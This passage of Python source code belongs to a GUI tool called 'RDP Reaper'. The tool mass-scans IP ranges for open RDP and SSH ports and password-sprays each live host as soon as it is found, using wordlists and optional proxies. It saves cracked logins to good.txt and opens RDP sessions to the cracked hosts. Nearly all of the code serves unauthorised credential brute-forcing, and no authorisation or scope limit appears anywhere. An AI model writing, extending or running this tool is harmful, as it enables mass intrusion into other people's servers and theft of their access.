[mstsc_path, rdp_target],
creationflags=subprocess.CREATE_NO_WINDOW
)
self._log(f"\U0001f4bb RDP launched: {ip}:{port} [{username}]", "hit")
self.rdp_status.config(text=f"RDP: {ip}:{port}")
print(_c("\033[92m", f" [{ts}] \U0001f4bb RDP \u2192 {ip}:{port} user={username}"))
else:
self._log("\u274c mstsc.exe not found! Are you on Windows?", "error")
except Exception as e:
self._log(f"\u274c RDP error: {e}", "error")
def _rdp_connect_selected(self):
"""RDP connect to the currently selected host in the tree."""
sel = self.host_tree.selection()
if not sel:
self.rdp_status.config(text="No host selected!")
return
item = sel[0]
vals = self.host_tree.item(item, "values")
ip = vals[0]
port = int(vals[1]) if vals[1].isdigit() else 3389
user = vals[3] if len(vals) > 3 else ""
pwd = vals[4] if len(vals) > 4 else ""
self._rdp_connect(ip, port, user, pwd)
def _on_host_double_click(self, event):
self._rdp_connect_selected()
def _on_hit_double_click(self, event):
sel = self.hit_tree.selection()
if not sel:
return
item = sel[0]
vals = self.hit_tree.item(item, "values")
ip = vals[0]
port = int(vals[1]) if vals[1].isdigit() else 3389
user = vals[2] if len(vals) > 2 else ""
pwd = vals[3] if len(vals) > 3 else ""
self._rdp_connect(ip, port, user, pwd)
def _quick_rdp_dialog(self):
dialog = tk.Toplevel(self.root)
dialog.title("Quick RDP Connect")
dialog.geometry("380x200")
dialog.configure(bg=Colors.BG_DARK)
dialog.transient(self.root)
dialog.grab_set()
tk.Label(dialog, text="Manual RDP Connection", font=("Segoe UI", 12, "bold"),
fg=Colors.ACCENT, bg=Colors.BG_DARK).pack(pady=(10, 5))
frame = tk.Frame(dialog, bg=Colors.BG_DARK)
frame.pack(pady=5)
tk.Label(frame, text="IP:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", padx=5)
ip_entry = ttk.Entry(frame, width=30)
ip_entry.grid(row=0, column=1, padx=5, pady=2)
tk.Label(frame, text="Port:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", padx=5)
port_entry = ttk.Entry(frame, width=10)
port_entry.insert(0, "3389")
port_entry.grid(row=1, column=1, sticky="w", padx=5, pady=2)
tk.Label(frame, text="User:", fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", padx=5)
user_entry = ttk.Entry(frame, width=30)
user_entry.grid(row=2, column=1, padx=5, pady=2)
def connect():
ip = ip_entry.get().strip()
port_str = port_entry.get().strip()
port = int(port_str) if port_str.isdigit() else 3389
user = user_entry.get().strip()
self._rdp_connect(ip, port, user)
dialog.destroy()
ttk.Button(dialog, text="\U0001f4bb Connect RDP", style="Accent.TButton",
command=connect).pack(pady=10)
# ── HELPERS ────────────────────────────────────────────
def _browse_ranges(self):
path = filedialog.askopenfilename(
title="Select ranges file",
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
)
if path:
self.ranges_entry.delete(0, "end")
self.ranges_entry.insert(0, path)
def _browse_file(self, which: str):
path = filedialog.askopenfilename(
title=f"Select {which} file",
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
)
if path:
entry = getattr(self, f"{which}_entry", None)
if entry:
entry.delete(0, "end")
entry.insert(0, path)
def _quick_add_ip(self):
dialog = tk.Toplevel(self.root)
dialog.title("Quick Add IP")
dialog.geometry("350x120")
dialog.configure(bg=Colors.BG_DARK)
dialog.transient(self.root)
dialog.grab_set()
tk.Label(dialog, text="Enter IP, range, or CIDR:",
fg=Colors.TEXT, bg=Colors.BG_DARK,
font=("Segoe UI", 9)).pack(pady=(10, 5))
entry = ttk.Entry(dialog, width=45)
entry.pack(pady=5)
entry.focus()
def add():
ip = entry.get().strip()
if ip:
rp = self.ranges_entry.get().strip()
if rp:
try:
with open(rp, 'a') as f:
f.write(f"\n{ip}")
self._log(f"\u2795 Added target: {ip}", "system")
except OSError as e:
self._log(f"\u274c Failed to write: {e}", "error")
else:
self._log("\u274c No ranges file path set!", "error")
dialog.destroy()
ttk.Button(dialog, text="Add Target", command=add).pack()
def _refresh_good(self):
self.good_text.delete("1.0", "end")
good_path = os.path.join(RESULTS_DIR, "good.txt")
if os.path.exists(good_path):
with open(good_path, 'r') as f:
self.good_text.insert("1.0", f.read())
def _update_host_status(self, ip, port, status, user="", pwd=""):
"""Update the status of a host in the treeview."""
key = (ip, port)
if key in self.host_items:
item_id = self.host_items[key]
self.root.after(0, lambda iid=item_id, s=status, u=user, pw=pwd:
self.host_tree.item(iid, values=(ip, str(port), s, u, pw)))
else:
# New host - insert row
self.root.after(0, lambda i=ip, p=port, s=status:
self._insert_host(i, p, s))
def _insert_host(self, ip, port, status):
item_id = self.host_tree.insert("", "end", values=(ip, str(port), status, "", ""))
self.host_items[(ip, port)] = item_id
# ── SCAN LOGIC ─────────────────────────────────────────
def _start_scan(self):
if self.scanning:
return
self.scanning = True
self.start_btn.config(state="disabled")
self.stop_btn.config(state="normal")
self.stats = ScanStats(start_time=time.time(), phase="scanning")
for item in self.host_tree.get_children():
self.host_tree.delete(item)
self.host_items.clear()
self.live_hosts.clear()
self.hits.clear()
self._log("\u2501" * 55, "system")
self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan")
print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510"))
print(_c("\033[96m", " \u2502 ") + _c("\033[91m", "REAPER v2.0 :: RDP Reaper :: No Mercy") + _c("\033[96m", " \u2502"))
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
# Read tkinter vars on MAIN thread (Tcl NOT thread-safe)
scan_speed = self.speed_var.get()
scan_timeout = self.timeout_var.get()
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
scan_randomize = self.randomize_var.get()
spray_enabled = self.spray_var.get()
guest_mode = self.guest_mode_var.get()
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
thread = threading.Thread(
target=self._scan_worker,
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
guest_mode, ranges_path, users_file, pass_file),
daemon=True
)
thread.start()
def _stop_scan(self):
self.scanning = False
self._log("\u25a0 STOP signal sent (finishing current batch)", "error")
def _clear_results(self):
for item in self.host_tree.get_children():
self.host_tree.delete(item)
for item in self.hit_tree.get_children():
self.hit_tree.delete(item)
self.host_items.clear()
self.live_hosts.clear()
self.hits.clear()
self.log_text.delete("1.0", "end")
self.stats = ScanStats()
def _load_wordlists(self, users_path="", pass_path=""):
"""Load usernames and passwords from files (or use defaults)."""
usernames = TOP_USERNAMES
passwords = TOP50_PASSWORDS
if users_path:
uf = users_path
else:
uf = self.users_entry.get().strip()
if os.path.exists(uf):
with open(uf, 'r', errors='ignore') as f:
cu = [l.strip() for l in f if l.strip()]
if cu:
usernames = cu
if pass_path:
pf = pass_path
else:
pf = self.pass_entry.get().strip()
if os.path.exists(pf):
with open(pf, 'r', errors='ignore') as f:
cp = [l.strip() for l in f if l.strip()]
if cp:
passwords = cp
return usernames, passwords
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
guest_mode=False, ranges_path="", users_path="", pass_path=""):
"""Background thread: scan + spray run CONCURRENTLY.
All tkinter values are passed from main thread (Tcl NOT thread-safe).
"""
try:
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
if not ranges_path or not os.path.exists(ranges_path):
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
self._scan_done()
return
self._log("\U0001f4ca Counting targets...", "system")
total_ips = count_ips(ranges_path)
self.stats.total = total_ips
ips = list(parse_ranges_file(ranges_path))
if not ips:
self._log("\u274c No valid IPs found in ranges file!", "error")
self._scan_done()
return
if randomize:
random.shuffle(ips)
if not active_ports:
active_ports = [3389]
self.stats.total = len(ips) * len(active_ports)
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
f"({speed:,} concurrent)", "system")
print(_c("\033[90m", f" [+] Targets: {len(ips):,} IPs x {len(active_ports)} ports"))
print(_c("\033[90m", f" [+] Concurrency: {speed:,} | Timeout: {timeout}s"))
print(_c("\033[90m", " [+] Streaming: spray starts IMMEDIATELY on each host found"))
print(_c("\033[90m", " [+] " + "\u2500" * 55))
# Load wordlists now (in the background thread, before async loop)
usernames, passwords = self._load_wordlists(users_path, pass_path)
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
# ── Streaming design ─────────────────────────────
# Scan calls live_callback immediately for each live host.
# The callback adds the host to a queue, and spray tasks
# are created as they arrive — all within the same loop.
spray_tasks = []
def on_live_host(ip: str, port: int):
"""Called IMMEDIATELY from the scanner when a host is found."""
if not self.scanning:
return
self.live_hosts.add((ip, port))
self.stats.live = len(self.live_hosts)
if port == SSH_PORT:
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
else:
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if spray_enabled:
if port == SSH_PORT:
# Route SSH hosts to SSH spray
task = asyncio.create_task(
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
)
else:
# RDP hosts use the standard spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)
)
spray_tasks.append(task)
def progress_cb(checked, total, found, rate):
if not self.scanning:
return
self.stats.checked = checked
self.stats.live = found
self.stats.rate = rate
# Run scan — live_callback fires immediately for each live host
scan_task = asyncio.create_task(
scan_ips(
ips, ports=active_ports,
max_concurrent=speed,
connect_timeout=timeout,
banner_check=False,
progress_callback=progress_cb,
live_callback=on_live_host,
proxy_manager=self.proxy_manager
)
)
# Wait for scan to finish (spray tasks run alongside)
loop.run_until_complete(scan_task)
# Wait for remaining spray tasks to finish
if spray_tasks:
self._log(f"\U0001f511 Waiting for {len(spray_tasks)} spray jobs to finish...", "system")
loop.run_until_complete(asyncio.gather(*spray_tasks, return_exceptions=True))
self._scan_done()
except Exception as e:
self._log(f"\u274c ERROR: {e}", "error")
import traceback
for line in traceback.format_exc().split('\n'):
if line.strip():
self._log(f" {line}", "error")
self._scan_done()
async def _spray_host(self, loop, ip, port, usernames, passwords):
"""Spray ALL passwords against a single host."""
try:
hits = await spray_single_host(
ip, port,
usernames=usernames,
passwords=passwords,
max_concurrent=50,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
proxy_manager=self.proxy_manager
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
else:
self._update_host_status(ip, port, "\u2705 CRACKED!",
hits[0][2], hits[0][3])
self.stats.hits = len(self.hits)
except Exception as e:
self._log(f"Spray error on {ip}:{port}: {e}", "error")
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
"""Spray SSH passwords against a single SSH host."""
try:
# When guest mode is enabled, use focused guest wordlists
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
hits = await spray_ssh_single_host(
ip, port,
usernames=effective_usernames,
passwords=effective_passwords,
max_concurrent=30,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
proxy_manager=self.proxy_manager
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit (SSH)")
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
else:
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
hits[0][2], hits[0][3])
self.stats.hits = len(self.hits)
except Exception as e:
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
def _on_hit_found(self, ip, port, user, pwd):
"""Called immediately when a credential hit is found."""
ts = time.strftime("%H:%M:%S")
self.hits.append((ip, port, user, pwd))
self.stats.hits = len(self.hits)
# GUI updates must happen on main thread
self.root.after(0, lambda i=ip, p=port, u=user, pw=pwd, t=ts:
self.hit_tree.insert("", 0, values=(i, str(p), u, pw, t)))
self._write_good(ip, port, user, pwd)
def _write_good(self, ip: str, port: int, user: str, pwd: str):
good_path = os.path.join(RESULTS_DIR, "good.txt")
with open(good_path, 'a') as f:
f.write(f"{user}:{pwd}@{ip}:{port}\n")
def _scan_done(self):
self.scanning = False
self.stats.phase = "done"
self.root.after(0, lambda: self.start_btn.config(state="normal"))
self.root.after(0, lambda: self.stop_btn.config(state="disabled"))
self._log("\u25a0 SCAN COMPLETE", "scan")
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] \u25a0 SCAN COMPLETE"))
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] Live: {self.stats.live} | Hits: {self.stats.hits}"))
print(_c("\033[96m", " \u2500" * 55))
def _on_close(self):
self.scanning = False
self.root.destroy()
def run(self):
self.root.mainloop()